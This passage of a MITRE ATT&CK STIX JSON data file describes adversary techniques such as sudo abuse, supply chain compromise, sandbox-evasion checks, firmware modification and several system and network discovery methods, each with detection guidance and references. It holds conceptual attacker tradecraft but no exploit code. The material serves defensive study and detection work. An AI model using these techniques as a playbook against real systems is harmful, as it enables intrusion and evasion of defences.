                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-27T01:03:26.306Z",
            "created": "2020-01-30T14:34:44.992Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_data_sources": [
                "Process: Process Metadata",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2021-01-06T19:32:28.382Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1195",
                    "url": "https://attack.mitre.org/techniques/T1195"
                },
                {
                    "external_id": "CAPEC-437",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/437.html"
                },
                {
                    "external_id": "CAPEC-438",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/438.html"
                },
                {
                    "external_id": "CAPEC-439",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/439.html"
                },
                {
                    "source_name": "IBM Storwize",
                    "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E",
                    "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019."
                },
                {
                    "source_name": "Schneider Electric USB Malware",
                    "url": "https://www.se.com/ww/en/download/document/SESN-2018-236-01/",
                    "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019."
                },
                {
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "source_name": "Avast CCleaner3 2018"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "source_name": "Microsoft Dofoil 2018"
                },
                {
                    "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.",
                    "source_name": "Command Five SK 2011"
                },
                {
                    "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019."
                }
            ],
            "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)",
            "name": "Supply Chain Compromise",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "x_mitre_version": "1.2",
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_contributors": [
                "Veeral Patel"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1573.001",
                    "url": "https://attack.mitre.org/techniques/T1573/001"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Symmetric Cryptography",
            "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
            "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-26T21:25:37.306Z",
            "created": "2020-03-16T15:45:17.032Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. \n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
            "name": "System Checks",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1497.001",
                    "url": "https://attack.mitre.org/techniques/T1497/001"
                },
                {
                    "source_name": "McAfee Virtual Jan 2017",
                    "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/",
                    "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019."
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "source_name": "Unit 42 OilRig Sept 2018"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-21T15:16:10.604Z",
            "created": "2020-03-06T20:57:37.959Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_contributors": [
                "Deloitte Threat Library Team"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "2.0",
            "x_mitre_defense_bypassed": [
                "Static File Analysis",
                "Signature-based detection",
                "Host forensic analysis",
                "Anti-virus"
            ]
        },
        {
            "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "name": "System Firmware",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1019",
                    "url": "https://attack.mitre.org/techniques/T1019"
                },
                {
                    "external_id": "CAPEC-532",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/532.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "source_name": "Wikipedia BIOS"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "source_name": "Wikipedia UEFI"
                },
                {
                    "url": "http://www.uefi.org/about",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "source_name": "About UEFI"
                },
                {
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "source_name": "MITRE Trustworthy Firmware Measurement"
                },
                {
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "source_name": "MITRE Copernicus"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "source_name": "McAfee CHIPSEC Blog"
                },
                {
                    "url": "https://github.com/chipsec/chipsec",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "source_name": "Github CHIPSEC"
                },
                {
                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "source_name": "Intel HackingTeam UEFI Rootkit"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-30T19:16:29.473Z",
            "created": "2017-05-31T21:30:28.613Z"
        },
        {
            "id": "attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada",
            "description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
            "name": "System Firmware",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1542.001",
                    "url": "https://attack.mitre.org/techniques/T1542/001"
                },
                {
                    "external_id": "CAPEC-532",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/532.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
                    "source_name": "Wikipedia BIOS"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
                    "source_name": "Wikipedia UEFI"
                },
                {
                    "url": "http://www.uefi.org/about",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
                    "source_name": "About UEFI"
                },
                {
                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
                    "source_name": "MITRE Trustworthy Firmware Measurement"
                },
                {
                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "source_name": "MITRE Copernicus"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "source_name": "McAfee CHIPSEC Blog"
                },
                {
                    "url": "https://github.com/chipsec/chipsec",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
                    "source_name": "Github CHIPSEC"
                },
                {
                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "source_name": "Intel HackingTeam UEFI Rootkit"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-05-19T21:22:37.865Z",
            "created": "2019-12-19T19:43:34.507Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Jean-Ian Boutin, ESET",
                "McAfee",
                "Ryan Becwar"
            ],
            "x_mitre_data_sources": [
                "Firmware: Firmware Modification"
            ],
            "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_defense_bypassed": [
                "Host intrusion prevention systems",
                "Anti-virus",
                "File monitoring"
            ]
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1082",
                    "url": "https://attack.mitre.org/techniques/T1082"
                },
                {
                    "external_id": "CAPEC-312",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/312.html"
                },
                {
                    "source_name": "Amazon Describe Instance",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
                    "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020."
                },
                {
                    "source_name": "Google Instances Resource",
                    "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances",
                    "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020."
                },
                {
                    "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.",
                    "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get",
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                }
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                "Command: Command Execution",
                "Process: OS API Execution"
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            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS"
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                {
                    "source_name": "mitre-attack",
                    "external_id": "T1614",
                    "url": "https://attack.mitre.org/techniques/T1614"
                },
                {
                    "source_name": "FBI Ragnar Locker 2020",
                    "url": "https://assets.documentcloud.org/documents/20413525/fbi-flash-indicators-of-compromise-ragnar-locker-ransomware-11192020-bc.pdf",
                    "description": "FBI. (2020, November 19). Indicators of Compromise Associated with Ragnar Locker Ransomware. Retrieved April 1, 2021."
                },
                {
                    "source_name": "Sophos Geolocation 2016",
                    "url": "https://news.sophos.com/en-us/2016/05/03/location-based-ransomware-threat-research/",
                    "description": "Wisniewski, C. (2016, May 3). Location-based threats: How cybercriminals target you based on where you live. Retrieved April 1, 2021."
                },
                {
                    "source_name": "Bleepingcomputer RAT malware 2020",
                    "url": "https://www.bleepingcomputer.com/news/security/new-rat-malware-gets-commands-via-discord-has-ransomware-feature/",
                    "description": "Abrams, L. (2020, October 23). New RAT malware gets commands via Discord, has ransomware feature. Retrieved April 1, 2021."
                },
                {
                    "source_name": "AWS Instance Identity Documents",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-identity-documents.html",
                    "description": "Amazon. (n.d.). Instance identity documents. Retrieved April 2, 2021."
                },
                {
                    "source_name": "Microsoft Azure Instance Metadata 2021",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows",
                    "description": "Microsoft. (2021, February 21). Azure Instance Metadata Service (Windows). Retrieved April 2, 2021."
                },
                {
                    "source_name": "Securelist Trasparent Tribe 2020",
                    "url": "https://securelist.com/transparent-tribe-part-1/98127/",
                    "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved April 1, 2021."
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            "name": "System Location Discovery",
            "description": "\nAdversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: Bleepingcomputer RAT malware 2020) Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: Microsoft Azure Instance Metadata 2021)\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)",
            "id": "attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979",
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                {
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            "x_mitre_permissions_required": [
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                "Instance: Instance Metadata",
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
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                "Pooja Natarajan, NEC Corporation India",
                "Hiroki Nagahama, NEC Corporation",
                "Manikantan Srinivasan, NEC Corporation India",
                "Wes Hurd",
                "Katie Nickels, Red Canary"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "IaaS"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Network Configuration Discovery",
            "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016",
                    "external_id": "T1016"
                },
                {
                    "external_id": "CAPEC-309",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/309.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-04-24T13:13:49.594Z",
            "created": "2017-05-31T21:30:27.342Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
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            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Script: Script Execution",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
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        },
        {
            "created": "2017-05-31T21:30:45.139Z",
            "modified": "2021-03-08T10:33:01.083Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Network Connections Discovery",
            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1049",
                    "external_id": "T1049"
                },
                {
                    "source_name": "Amazon AWS VPC Guide",
                    "url": "https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html",
                    "description": "Amazon. (n.d.). What Is Amazon VPC?. Retrieved October 6, 2019."
                },
                {
                    "source_name": "Microsoft Azure Virtual Network Overview",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-overview",
                    "description": "Annamalai, N., Casey, C., Almeida, M., et. al.. (2019, June 18). What is Azure Virtual Network?. Retrieved October 6, 2019."
                },
                {
                    "source_name": "Google VPC Overview",
                    "url": "https://cloud.google.com/vpc/docs/vpc",
                    "description": "Google. (2019, September 23). Virtual Private Cloud (VPC) network overview. Retrieved October 6, 2019."
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:30:35.733Z",
            "modified": "2020-03-15T01:03:47.866Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Owner/User Discovery",
            "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nUtilities and commands that acquire this information include <code>whoami</code>. In Mac and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1033",
                    "external_id": "T1033"
                },
                {
                    "external_id": "CAPEC-577",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/577.html"
                }
            ],
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
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            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": false
        },
        {
            "created": "2017-05-31T21:30:21.315Z",
            "modified": "2020-03-15T01:05:08.805Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "type": "attack-pattern",
